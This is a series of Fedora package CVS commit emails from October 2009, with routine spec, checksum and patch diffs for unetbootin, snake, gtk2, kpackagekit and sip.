- Fix FTBFS: bump release to be able to tag in new branch and sync source name




Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/unetbootin/F-12/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	10 Jul 2009 18:35:10 -0000	1.2
+++ .cvsignore	24 Oct 2009 00:07:43 -0000	1.3
@@ -1 +1 @@
-unetbootin-source-356.tar.gz
+unetbootin-source-358.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/unetbootin/F-12/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	10 Jul 2009 18:35:11 -0000	1.2
+++ sources	24 Oct 2009 00:07:44 -0000	1.3
@@ -1 +1 @@
-4a8e72ab32afbb8564519a211c798f71  unetbootin-source-356.tar.gz
+4a8e72ab32afbb8564519a211c798f71  unetbootin-source-358.tar.gz


Index: unetbootin.spec
===================================================================
RCS file: /cvs/pkgs/rpms/unetbootin/F-12/unetbootin.spec,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- unetbootin.spec	27 Jul 2009 06:31:49 -0000	1.7
+++ unetbootin.spec	24 Oct 2009 00:07:44 -0000	1.8
@@ -1,4 +1,4 @@
-%global rel 357
+%global rel 358
 
 Name:		unetbootin
 Version:	0
@@ -73,6 +73,9 @@ rm -rf %{buildroot}
 %{_datadir}/applications/unetbootin.desktop
 
 %changelog
+* Fri Oct 23 2009 Milos Jakubicek <xjakub at fi.muni.cz> 0-6.358bzr
+- Fix FTBFS: bump release to be able to tag in new branch and sync source name
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0-6.357bzr
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From mjakubicek at fedoraproject.org  Sat Oct 24 00:07:45 2009
From: mjakubicek at fedoraproject.org (=?utf-8?b?TWlsb8WhIEpha3Viw63EjWVr?=)
Date: Sat, 24 Oct 2009 00:07:45 +0000 (UTC)
Subject: rpms/unetbootin/devel sources,1.2,1.3 unetbootin.spec,1.7,1.8
Message-ID: <20091024000745.B180E11C0260@cvs1.fedora.phx.redhat.com>

Author: mjakubicek

Update of /cvs/pkgs/rpms/unetbootin/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19682/devel

Modified Files:
	sources unetbootin.spec 
Log Message:
- Fix FTBFS: bump release to be able to tag in new branch and sync source name




Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/unetbootin/devel/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	10 Jul 2009 18:35:11 -0000	1.2
+++ sources	24 Oct 2009 00:07:45 -0000	1.3
@@ -1 +1 @@
-4a8e72ab32afbb8564519a211c798f71  unetbootin-source-356.tar.gz
+4a8e72ab32afbb8564519a211c798f71  unetbootin-source-358.tar.gz


Index: unetbootin.spec
===================================================================
RCS file: /cvs/pkgs/rpms/unetbootin/devel/unetbootin.spec,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- unetbootin.spec	27 Jul 2009 06:31:49 -0000	1.7
+++ unetbootin.spec	24 Oct 2009 00:07:45 -0000	1.8
@@ -1,4 +1,4 @@
-%global rel 357
+%global rel 358
 
 Name:		unetbootin
 Version:	0
@@ -73,6 +73,9 @@ rm -rf %{buildroot}
 %{_datadir}/applications/unetbootin.desktop
 
 %changelog
+* Fri Oct 23 2009 Milos Jakubicek <xjakub at fi.muni.cz> 0-6.358bzr
+- Fix FTBFS: bump release to be able to tag in new branch and sync source name
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0-6.357bzr
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From mjakubicek at fedoraproject.org  Sat Oct 24 00:09:52 2009
From: mjakubicek at fedoraproject.org (=?utf-8?b?TWlsb8WhIEpha3Viw63EjWVr?=)
Date: Sat, 24 Oct 2009 00:09:52 +0000 (UTC)
Subject: rpms/snake/devel .cvsignore,1.14,1.15 sources,1.24,1.25
Message-ID: <20091024000952.1DF9811C01EA@cvs1.fedora.phx.redhat.com>

Author: mjakubicek

Update of /cvs/pkgs/rpms/snake/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20811/devel

Modified Files:
	.cvsignore sources 
Log Message:
- Fix sources directory name




Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/snake/devel/.cvsignore,v
retrieving revision 1.14
retrieving revision 1.15
diff -u -p -r1.14 -r1.15
--- .cvsignore	19 Jun 2009 16:58:42 -0000	1.14
+++ .cvsignore	24 Oct 2009 00:09:51 -0000	1.15
@@ -1 +1 @@
-snake-0.11-0.16.tar.bz2
+snake-0.11-0.18.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/snake/devel/sources,v
retrieving revision 1.24
retrieving revision 1.25
diff -u -p -r1.24 -r1.25
--- sources	23 Oct 2009 23:47:58 -0000	1.24
+++ sources	24 Oct 2009 00:09:51 -0000	1.25
@@ -1 +1 @@
-8762196ce4b657b90178cb49b688366c  snake-0.11-0.18.tar.bz2
+827f25c02077ff877bf89584c297be9d  snake-0.11-0.18.tar.bz2



From mjakubicek at fedoraproject.org  Sat Oct 24 00:09:51 2009
From: mjakubicek at fedoraproject.org (=?utf-8?b?TWlsb8WhIEpha3Viw63EjWVr?=)
Date: Sat, 24 Oct 2009 00:09:51 +0000 (UTC)
Subject: rpms/snake/F-12 .cvsignore,1.15,1.16 sources,1.24,1.25
Message-ID: <20091024000951.D64D911C01EA@cvs1.fedora.phx.redhat.com>

Author: mjakubicek

Update of /cvs/pkgs/rpms/snake/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20811/F-12

Modified Files:
	.cvsignore sources 
Log Message:
- Fix sources directory name




Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/snake/F-12/.cvsignore,v
retrieving revision 1.15
retrieving revision 1.16
diff -u -p -r1.15 -r1.16
--- .cvsignore	23 Oct 2009 23:43:52 -0000	1.15
+++ .cvsignore	24 Oct 2009 00:09:51 -0000	1.16
@@ -1 +1 @@
-snake-0.11-0.17.tar.bz2
+snake-0.11-0.18.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/snake/F-12/sources,v
retrieving revision 1.24
retrieving revision 1.25
diff -u -p -r1.24 -r1.25
--- sources	23 Oct 2009 23:47:57 -0000	1.24
+++ sources	24 Oct 2009 00:09:51 -0000	1.25
@@ -1 +1 @@
-8762196ce4b657b90178cb49b688366c  snake-0.11-0.18.tar.bz2
+827f25c02077ff877bf89584c297be9d  snake-0.11-0.18.tar.bz2



From mbarnes at fedoraproject.org  Sat Oct 24 00:15:51 2009
From: mbarnes at fedoraproject.org (Matthew Barnes)
Date: Sat, 24 Oct 2009 00:15:51 +0000 (UTC)
Subject: rpms/gtk2/F-12 iconview-hang.patch,NONE,1.1 gtk2.spec,1.422,1.423
Message-ID: <20091024001551.479CD11C01EA@cvs1.fedora.phx.redhat.com>

Author: mbarnes

Update of /cvs/pkgs/rpms/gtk2/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv23544

Modified Files:
	gtk2.spec 
Added Files:
	iconview-hang.patch 
Log Message:

* Fri Oct 23 2009 Matthew Barnes <mbarnes at redhat.com> - 2.18.3-11
- Fix a GtkIconView hang


iconview-hang.patch:
 gtkiconview.c |    5 +++++
 1 file changed, 5 insertions(+)

--- NEW FILE iconview-hang.patch ---
diff -up gtk+-2.18.3/gtk/gtkiconview.c.icon-view-hang gtk+-2.18.3/gtk/gtkiconview.c
--- gtk+-2.18.3/gtk/gtkiconview.c.icon-view-hang	2009-10-09 01:00:44.000000000 -0400
+++ gtk+-2.18.3/gtk/gtkiconview.c	2009-10-23 20:09:18.670311545 -0400
@@ -1545,6 +1545,11 @@ gtk_icon_view_expose (GtkWidget *widget,
   if (expose->window != icon_view->priv->bin_window)
     return FALSE;
 
+  /* If a layout has been scheduled, do it now so that all
+   * cell view items have valid sizes before we proceed. */
+  if (icon_view->priv->layout_idle_id != 0)
+    gtk_icon_view_layout (icon_view);
+
   cr = gdk_cairo_create (icon_view->priv->bin_window);
   cairo_set_line_width (cr, 1.);
 


Index: gtk2.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gtk2/F-12/gtk2.spec,v
retrieving revision 1.422
retrieving revision 1.423
diff -u -p -r1.422 -r1.423
--- gtk2.spec	23 Oct 2009 21:25:42 -0000	1.422
+++ gtk2.spec	24 Oct 2009 00:15:50 -0000	1.423
@@ -17,7 +17,7 @@
 Summary: The GIMP ToolKit (GTK+), a library for creating GUIs for X
 Name: gtk2
 Version: %{base_version}
-Release: 10%{?dist}
+Release: 11%{?dist}
 License: LGPLv2+
 Group: System Environment/Libraries
 Source: http://download.gnome.org/sources/gtk+/2.18/gtk+-%{version}.tar.bz2
@@ -38,6 +38,8 @@ Patch5: zerosize.patch
 Patch6: compose-sequences.patch
 Patch7: symbolic-color-parsing.patch
 Patch8: tooltip-positioning.patch
+# https://bugzilla.gnome.org/show_bug.cgi?id=581150
+Patch9: iconview-hang.patch
 
 BuildRequires: atk-devel >= %{atk_version}
 BuildRequires: pango-devel >= %{pango_version}
@@ -157,6 +159,7 @@ This package contains developer document
 %patch6 -p1 -b .compose-sequences
 %patch7 -p1 -b .symbolic-color-parsing
 %patch8 -p1 -b .tooltip-positioning
+%patch9 -p1 -b .iconview-hang
 
 %build
 libtoolize --force --copy
@@ -393,6 +396,9 @@ fi
 
 
 %changelog
+* Fri Oct 23 2009 Matthew Barnes <mbarnes at redhat.com> - 2.18.3-11
+- Fix a GtkIconView hang
+
 * Fri Oct 23 2009 Matthias Clasen <mclasen at redhat.com> - 2.18.3-10
 - Tweak tooltip positioning
 - Make new tooltip style an opt-in theme choice



From tuxbrewr at fedoraproject.org  Sat Oct 24 00:26:43 2009
From: tuxbrewr at fedoraproject.org (Steven M. Parrish)
Date: Sat, 24 Oct 2009 00:26:43 +0000 (UTC)
Subject: rpms/kpackagekit/F-12 kpackagekit-0.5.0-defaults_hacks.patch, NONE, 
	1.1 .cvsignore, 1.14, 1.15 kpackagekit.spec, 1.45, 1.46 sources,
	1.22, 1.23 kpackagekit-0.4.1-i18n.patch, 1.1, NONE
Message-ID: <20091024002643.D486411C01EA@cvs1.fedora.phx.redhat.com>

Author: tuxbrewr

Update of /cvs/pkgs/rpms/kpackagekit/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv29258

Modified Files:
	.cvsignore kpackagekit.spec sources 
Added Files:
	kpackagekit-0.5.0-defaults_hacks.patch 
Removed Files:
	kpackagekit-0.4.1-i18n.patch 
Log Message:
Official 0.5.0.1 release

kpackagekit-0.5.0-defaults_hacks.patch:
 KPackageKitD/kpackagekitd.cpp |    4 !!!!
 Settings/KpkSettings.cpp      |    4 ++--
 SmartIcon/KpkUpdateIcon.cpp   |    2 !!
 libkpackagekit/KpkEnum.h      |    4 !!!!
 4 files changed, 2 insertions(+), 2 deletions(-), 10 modifications(!)

--- NEW FILE kpackagekit-0.5.0-defaults_hacks.patch ---
diff -crB kpackagekit-0.5.0/KPackageKitD/kpackagekitd.cpp kpackagekit-0.5.0-fedora/KPackageKitD/kpackagekitd.cpp
*** kpackagekit-0.5.0/KPackageKitD/kpackagekitd.cpp	2009-10-20 10:10:15.000000000 -0400
--- kpackagekit-0.5.0-fedora/KPackageKitD/kpackagekitd.cpp	2009-10-20 11:56:54.000000000 -0400
***************
*** 80,86 ****
      KConfig config("KPackageKit");
      KConfigGroup checkUpdateGroup(&config, "CheckUpdate");
      // default to one day, 86400 sec
!     uint interval = checkUpdateGroup.readEntry("interval", KpkEnum::TimeIntervalDefault);
  
      // 1160 -> 15 minutes
      if (((m_client->getTimeSinceAction(Client::ActionRefreshCache) - interval > 1160) && interval != 0 )
--- 80,86 ----
      KConfig config("KPackageKit");
      KConfigGroup checkUpdateGroup(&config, "CheckUpdate");
      // default to one day, 86400 sec
!     const uint interval = checkUpdateGroup.readEntry("interval", KpkEnum::TimeIntervalDefault);
  
      // 1160 -> 15 minutes
      if (((m_client->getTimeSinceAction(Client::ActionRefreshCache) - interval > 1160) && interval != 0 )
***************
*** 112,118 ****
      KConfig config("KPackageKit");
      KConfigGroup checkUpdateGroup( &config, "CheckUpdate" );
      // default to one day, 86400 sec
!     int interval = checkUpdateGroup.readEntry("interval", KpkEnum::TimeIntervalDefault);
      int actRefreshCache = m_client->getTimeSinceAction(Client::ActionRefreshCache);
      if (interval == KpkEnum::Never) {
          return;
--- 112,118 ----
      KConfig config("KPackageKit");
      KConfigGroup checkUpdateGroup( &config, "CheckUpdate" );
      // default to one day, 86400 sec
!     const uint interval = checkUpdateGroup.readEntry("interval", KpkEnum::TimeIntervalDefault);
      int actRefreshCache = m_client->getTimeSinceAction(Client::ActionRefreshCache);
      if (interval == KpkEnum::Never) {
          return;
diff -crB kpackagekit-0.5.0/libkpackagekit/KpkEnum.h kpackagekit-0.5.0-fedora/libkpackagekit/KpkEnum.h
*** kpackagekit-0.5.0/libkpackagekit/KpkEnum.h	2009-10-20 10:10:16.000000000 -0400
--- kpackagekit-0.5.0-fedora/libkpackagekit/KpkEnum.h	2009-10-20 11:58:34.000000000 -0400
***************
*** 28,34 ****
              Security,
              All
      } AutoUpdate;
!     const int AutoUpdateDefault = None;
  
      typedef enum {
              Never   =       0,
--- 28,34 ----
              Security,
              All
      } AutoUpdate;
!     const uint AutoUpdateDefault = None;
  
      typedef enum {
              Never   =       0,
***************
*** 37,43 ****
              Weekly  =  604800,
              Monthly = 2628000
      } TimeInterval;
!     const int TimeIntervalDefault = Weekly;
  
  }
  
--- 37,43 ----
              Weekly  =  604800,
              Monthly = 2628000
      } TimeInterval;
!     const uint TimeIntervalDefault = Daily;
  
  }
  
diff -crB kpackagekit-0.5.0/Settings/KpkSettings.cpp kpackagekit-0.5.0-fedora/Settings/KpkSettings.cpp
*** kpackagekit-0.5.0/Settings/KpkSettings.cpp	2009-10-20 10:10:15.000000000 -0400
--- kpackagekit-0.5.0-fedora/Settings/KpkSettings.cpp	2009-10-20 12:01:21.000000000 -0400
***************
*** 57,71 ****
          originGB->setEnabled(false);
      }
  
-     intervalCB->addItem(i18nc("Hourly refresh the package cache", "Hourly"),  KpkEnum::Hourly);
      intervalCB->addItem(i18nc("Daily refresh the package cache", "Daily"),   KpkEnum::Daily);
      intervalCB->addItem(i18nc("Weekly refresh the package cache", "Weekly"),  KpkEnum::Weekly);
      intervalCB->addItem(i18nc("Monthly refresh the package cache", "Monthly"), KpkEnum::Monthly);
      intervalCB->addItem(i18nc("Never refresh package cache", "Never"),   KpkEnum::Never);
  
      autoCB->addItem(i18n("Security Only"), KpkEnum::Security);
      autoCB->addItem(i18n("All Updates"),   KpkEnum::All);
-     autoCB->addItem(i18nc("None updates will be automatically installed", "None"),          KpkEnum::None);
  
      connect(notifyUpdatesCB, SIGNAL(stateChanged(int)), this, SLOT(checkChanges()));
      connect(notifyLongTasksCB, SIGNAL(stateChanged(int)), this, SLOT(checkChanges()));
--- 57,71 ----
          originGB->setEnabled(false);
      }
  
      intervalCB->addItem(i18nc("Daily refresh the package cache", "Daily"),   KpkEnum::Daily);
+     intervalCB->addItem(i18nc("Hourly refresh the package cache", "Hourly"),  KpkEnum::Hourly);
      intervalCB->addItem(i18nc("Weekly refresh the package cache", "Weekly"),  KpkEnum::Weekly);
      intervalCB->addItem(i18nc("Monthly refresh the package cache", "Monthly"), KpkEnum::Monthly);
      intervalCB->addItem(i18nc("Never refresh package cache", "Never"),   KpkEnum::Never);
  
+     autoCB->addItem(i18nc("None updates will be automatically installed", "None"),          KpkEnum::None);
      autoCB->addItem(i18n("Security Only"), KpkEnum::Security);
      autoCB->addItem(i18n("All Updates"),   KpkEnum::All);
  
      connect(notifyUpdatesCB, SIGNAL(stateChanged(int)), this, SLOT(checkChanges()));
      connect(notifyLongTasksCB, SIGNAL(stateChanged(int)), this, SLOT(checkChanges()));
diff -crB kpackagekit-0.5.0/SmartIcon/KpkUpdateIcon.cpp kpackagekit-0.5.0-fedora/SmartIcon/KpkUpdateIcon.cpp
*** kpackagekit-0.5.0/SmartIcon/KpkUpdateIcon.cpp	2009-10-20 10:10:14.000000000 -0400
--- kpackagekit-0.5.0-fedora/SmartIcon/KpkUpdateIcon.cpp	2009-10-20 12:04:35.000000000 -0400
***************
*** 215,221 ****
  //         m_icon->show();
          KConfig config("KPackageKit");
          KConfigGroup checkUpdateGroup(&config, "CheckUpdate");
!         uint updateType = (uint) checkUpdateGroup.readEntry("autoUpdate", KpkEnum::AutoUpdateDefault);
          if (updateType == KpkEnum::None) {
              // update none
              notifyUpdates();
--- 215,221 ----
  //         m_icon->show();
          KConfig config("KPackageKit");
          KConfigGroup checkUpdateGroup(&config, "CheckUpdate");
!         const uint updateType = (uint) checkUpdateGroup.readEntry("autoUpdate", KpkEnum::AutoUpdateDefault);
          if (updateType == KpkEnum::None) {
              // update none
              notifyUpdates();


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/kpackagekit/F-12/.cvsignore,v
retrieving revision 1.14
retrieving revision 1.15
diff -u -p -r1.14 -r1.15
--- .cvsignore	19 Aug 2009 14:53:16 -0000	1.14
+++ .cvsignore	24 Oct 2009 00:26:43 -0000	1.15
@@ -1 +1 @@
-kpackagekit-0.5.0.tar.bz2
+kpackagekit-0.5.0.1.tar.bz2


Index: kpackagekit.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kpackagekit/F-12/kpackagekit.spec,v
retrieving revision 1.45
retrieving revision 1.46
diff -u -p -r1.45 -r1.46
--- kpackagekit.spec	15 Sep 2009 14:50:25 -0000	1.45
+++ kpackagekit.spec	24 Oct 2009 00:26:43 -0000	1.46
@@ -1,21 +1,20 @@
 
-%define pk_version 0.5.2
+%define pk_version 0.5.3
 
 Name:	  	kpackagekit
-Version:	0.5.0
-Release:	0.1.20090915svn%{?dist}
+Version:	0.5.0.1
+Release:	1%{?dist}
 Summary:	KDE interface for PackageKit
 
 License:	GPLv2+
 Group:		Applications/System
 #Source0:	http://www.kde-apps.org/CONTENT/content-files/84745-kpackagekit-%{version}.tar.bz2
-Source0:	kpackagekit-0.5.0.tar.bz2
+Source0:	kpackagekit-0.5.0.1.tar.bz2
 URL:		http://www.kde-apps.org/content/show.php/KPackageKit?content=84745
 BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
-# upstream me, says the patch
-#Patch100: kpackagekit-InitialPreference.patch
-Patch102: kpackagekit-0.4.1-i18n.patch
+#Hacks to smash kpackagekit: daily/none default (#469375)
+Patch50: kpackagekit-0.5.0-defaults_hacks.patch
 
 BuildRequires:	cmake
 BuildRequires:  desktop-file-utils
@@ -34,8 +33,7 @@ KDE interface for PackageKit.
 %prep
 %setup -q -n %{name}-%{version}
 
-#patch100 -p0 -b .InitialPreference
-%patch102 -p1 -b .i18n
+%patch50  -p1 -b .defaults_hacks
 
 
 %build
@@ -79,6 +77,10 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Tue Oct 20 2009 Steven M. Parrish <smparrish at gmail.com> - 0.5.0.1-1
+- Official 0.5.0.1 release
+- Includes patch to fix (#469375) default/none issue
+
 * Tue Sep 15 2009 Steven M. Parrish <smparrish at gmail.com> - 0.5.0-0.1.20090915svn
 - New git snapshot
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/kpackagekit/F-12/sources,v
retrieving revision 1.22
retrieving revision 1.23
diff -u -p -r1.22 -r1.23
--- sources	15 Sep 2009 14:50:25 -0000	1.22
+++ sources	24 Oct 2009 00:26:43 -0000	1.23
@@ -1 +1 @@
-6eb244d6297a980d85aa580748444d6a  kpackagekit-0.5.0.tar.bz2
+5c4cd44083e6dcce59011bb83029eb3b  kpackagekit-0.5.0.1.tar.bz2


--- kpackagekit-0.4.1-i18n.patch DELETED ---



From rdieter at fedoraproject.org  Sat Oct 24 00:37:14 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Sat, 24 Oct 2009 00:37:14 +0000 (UTC)
Subject: rpms/sip/devel .cvsignore, 1.32, 1.33 sip.spec, 1.66, 1.67 sources, 
	1.33, 1.34
Message-ID: <20091024003714.28AD511C01EA@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/sip/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv351

Modified Files:
	.cvsignore sip.spec sources 
Log Message:
* Fri Oct 23 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.9.1-1
- sip-4.9.1



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/sip/devel/.cvsignore,v
retrieving revision 1.32
retrieving revision 1.33
diff -u -p -r1.32 -r1.33
--- .cvsignore	15 Oct 2009 13:44:51 -0000	1.32
+++ .cvsignore	24 Oct 2009 00:37:13 -0000	1.33
@@ -1 +1 @@
-sip-4.9.1-snapshot-20091014.tar.gz
+sip-4.9.1.tar.gz


Index: sip.spec
===================================================================
RCS file: /cvs/pkgs/rpms/sip/devel/sip.spec,v
retrieving revision 1.66
retrieving revision 1.67
diff -u -p -r1.66 -r1.67
--- sip.spec	15 Oct 2009 13:44:51 -0000	1.66
+++ sip.spec	24 Oct 2009 00:37:13 -0000	1.67
@@ -2,12 +2,10 @@
 %{!?python_sitearch:%global python_sitearch %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib(1)")}
 %{!?python_inc:%global python_inc %(%{__python} -c "from distutils.sysconfig import get_python_inc; print get_python_inc(1)")}
 
-%define snap 20091014
-
 Summary: SIP - Python/C++ Bindings Generator
 Name: sip
 Version: 4.9.1
-Release: 0.1.%{snap}%{?dist}
+Release: 1%{?dist}
 License: GPLv2 or GPLv3
 Group: Development/Tools
 Url: http://www.riverbankcomputing.com/software/sip/intro 
@@ -75,6 +73,9 @@ rm -rf %{buildroot}
 
 
 %changelog
+* Fri Oct 23 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.9.1-1
+- sip-4.9.1
+
 * Thu Oct 15 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.9.1-0.1.20091014
 - sip-4.9.1-snapshot-20091014
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/sip/devel/sources,v
retrieving revision 1.33
retrieving revision 1.34
diff -u -p -r1.33 -r1.34
--- sources	15 Oct 2009 13:44:51 -0000	1.33
+++ sources	24 Oct 2009 00:37:13 -0000	1.34
@@ -1 +1 @@
-eddc6efffd5e97c94fb4d07fb3457253  sip-4.9.1-snapshot-20091014.tar.gz
+4bd61529a956a08841bb3cc2f949e1c4  sip-4.9.1.tar.gz



From tuxbrewr at fedoraproject.org  Sat Oct 24 00:37:52 2009
From: tuxbrewr at fedoraproject.org (Steven M. Parrish)
Date: Sat, 24 Oct 2009 00:37:52 +0000 (UTC)
Subject: rpms/kpackagekit/devel kpackagekit-0.5.0-defaults_hacks.patch, NONE,
	1.1 .cvsignore, 1.14, 1.15 kpackagekit.spec, 1.45, 1.46 sources,
	1.22, 1.23 kpackagekit-0.4.1-i18n.patch, 1.1, NONE
Message-ID: <20091024003752.159D011C01EA@cvs1.fedora.phx.redhat.com>

Author: tuxbrewr

Update of /cvs/pkgs/rpms/kpackagekit/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv596

Modified Files:
	.cvsignore kpackagekit.spec sources 
Added Files:
	kpackagekit-0.5.0-defaults_hacks.patch 
Removed Files:
	kpackagekit-0.4.1-i18n.patch 
Log Message:
Official 0.5.0.1 release

kpackagekit-0.5.0-defaults_hacks.patch:
 KPackageKitD/kpackagekitd.cpp |    4 !!!!
 Settings/KpkSettings.cpp      |    4 ++--
 SmartIcon/KpkUpdateIcon.cpp   |    2 !!
 libkpackagekit/KpkEnum.h      |    4 !!!!
 4 files changed, 2 insertions(+), 2 deletions(-), 10 modifications(!)

--- NEW FILE kpackagekit-0.5.0-defaults_hacks.patch ---
diff -crB kpackagekit-0.5.0/KPackageKitD/kpackagekitd.cpp kpackagekit-0.5.0-fedora/KPackageKitD/kpackagekitd.cpp
*** kpackagekit-0.5.0/KPackageKitD/kpackagekitd.cpp	2009-10-20 10:10:15.000000000 -0400
--- kpackagekit-0.5.0-fedora/KPackageKitD/kpackagekitd.cpp	2009-10-20 11:56:54.000000000 -0400
***************
*** 80,86 ****
      KConfig config("KPackageKit");
      KConfigGroup checkUpdateGroup(&config, "CheckUpdate");
      // default to one day, 86400 sec
!     uint interval = checkUpdateGroup.readEntry("interval", KpkEnum::TimeIntervalDefault);
  
      // 1160 -> 15 minutes
      if (((m_client->getTimeSinceAction(Client::ActionRefreshCache) - interval > 1160) && interval != 0 )
--- 80,86 ----
      KConfig config("KPackageKit");
      KConfigGroup checkUpdateGroup(&config, "CheckUpdate");
      // default to one day, 86400 sec
!     const uint interval = checkUpdateGroup.readEntry("interval", KpkEnum::TimeIntervalDefault);
  
      // 1160 -> 15 minutes
      if (((m_client->getTimeSinceAction(Client::ActionRefreshCache) - interval > 1160) && interval != 0 )
***************
*** 112,118 ****
      KConfig config("KPackageKit");
      KConfigGroup checkUpdateGroup( &config, "CheckUpdate" );
      // default to one day, 86400 sec
!     int interval = checkUpdateGroup.readEntry("interval", KpkEnum::TimeIntervalDefault);
      int actRefreshCache = m_client->getTimeSinceAction(Client::ActionRefreshCache);
      if (interval == KpkEnum::Never) {
          return;
--- 112,118 ----
      KConfig config("KPackageKit");
      KConfigGroup checkUpdateGroup( &config, "CheckUpdate" );
      // default to one day, 86400 sec
!     const uint interval = checkUpdateGroup.readEntry("interval", KpkEnum::TimeIntervalDefault);
      int actRefreshCache = m_client->getTimeSinceAction(Client::ActionRefreshCache);
      if (interval == KpkEnum::Never) {
          return;
diff -crB kpackagekit-0.5.0/libkpackagekit/KpkEnum.h kpackagekit-0.5.0-fedora/libkpackagekit/KpkEnum.h
*** kpackagekit-0.5.0/libkpackagekit/KpkEnum.h	2009-10-20 10:10:16.000000000 -0400
--- kpackagekit-0.5.0-fedora/libkpackagekit/KpkEnum.h	2009-10-20 11:58:34.000000000 -0400
***************
*** 28,34 ****
              Security,
              All
      } AutoUpdate;
!     const int AutoUpdateDefault = None;
  
      typedef enum {
              Never   =       0,
--- 28,34 ----
              Security,
              All
      } AutoUpdate;
!     const uint AutoUpdateDefault = None;
  
      typedef enum {
              Never   =       0,
***************
*** 37,43 ****
              Weekly  =  604800,
              Monthly = 2628000
      } TimeInterval;
!     const int TimeIntervalDefault = Weekly;
  
  }
  
--- 37,43 ----
              Weekly  =  604800,
              Monthly = 2628000
      } TimeInterval;
!     const uint TimeIntervalDefault = Daily;
  
  }
  
diff -crB kpackagekit-0.5.0/Settings/KpkSettings.cpp kpackagekit-0.5.0-fedora/Settings/KpkSettings.cpp
*** kpackagekit-0.5.0/Settings/KpkSettings.cpp	2009-10-20 10:10:15.000000000 -0400
--- kpackagekit-0.5.0-fedora/Settings/KpkSettings.cpp	2009-10-20 12:01:21.000000000 -0400
***************
*** 57,71 ****
          originGB->setEnabled(false);
      }
  
-     intervalCB->addItem(i18nc("Hourly refresh the package cache", "Hourly"),  KpkEnum::Hourly);
      intervalCB->addItem(i18nc("Daily refresh the package cache", "Daily"),   KpkEnum::Daily);
      intervalCB->addItem(i18nc("Weekly refresh the package cache", "Weekly"),  KpkEnum::Weekly);
      intervalCB->addItem(i18nc("Monthly refresh the package cache", "Monthly"), KpkEnum::Monthly);
      intervalCB->addItem(i18nc("Never refresh package cache", "Never"),   KpkEnum::Never);
  
      autoCB->addItem(i18n("Security Only"), KpkEnum::Security);
      autoCB->addItem(i18n("All Updates"),   KpkEnum::All);
-     autoCB->addItem(i18nc("None updates will be automatically installed", "None"),          KpkEnum::None);
  
      connect(notifyUpdatesCB, SIGNAL(stateChanged(int)), this, SLOT(checkChanges()));
      connect(notifyLongTasksCB, SIGNAL(stateChanged(int)), this, SLOT(checkChanges()));
--- 57,71 ----
          originGB->setEnabled(false);
      }
  
      intervalCB->addItem(i18nc("Daily refresh the package cache", "Daily"),   KpkEnum::Daily);
+     intervalCB->addItem(i18nc("Hourly refresh the package cache", "Hourly"),  KpkEnum::Hourly);
      intervalCB->addItem(i18nc("Weekly refresh the package cache", "Weekly"),  KpkEnum::Weekly);
      intervalCB->addItem(i18nc("Monthly refresh the package cache", "Monthly"), KpkEnum::Monthly);
      intervalCB->addItem(i18nc("Never refresh package cache", "Never"),   KpkEnum::Never);
  
+     autoCB->addItem(i18nc("None updates will be automatically installed", "None"),          KpkEnum::None);
      autoCB->addItem(i18n("Security Only"), KpkEnum::Security);
      autoCB->addItem(i18n("All Updates"),   KpkEnum::All);
  
      connect(notifyUpdatesCB, SIGNAL(stateChanged(int)), this, SLOT(checkChanges()));
      connect(notifyLongTasksCB, SIGNAL(stateChanged(int)), this, SLOT(checkChanges()));
diff -crB kpackagekit-0.5.0/SmartIcon/KpkUpdateIcon.cpp kpackagekit-0.5.0-fedora/SmartIcon/KpkUpdateIcon.cpp
*** kpackagekit-0.5.0/SmartIcon/KpkUpdateIcon.cpp	2009-10-20 10:10:14.000000000 -0400
--- kpackagekit-0.5.0-fedora/SmartIcon/KpkUpdateIcon.cpp	2009-10-20 12:04:35.000000000 -0400
***************
*** 215,221 ****
  //         m_icon->show();
          KConfig config("KPackageKit");
          KConfigGroup checkUpdateGroup(&config, "CheckUpdate");
!         uint updateType = (uint) checkUpdateGroup.readEntry("autoUpdate", KpkEnum::AutoUpdateDefault);
          if (updateType == KpkEnum::None) {
              // update none
              notifyUpdates();
--- 215,221 ----
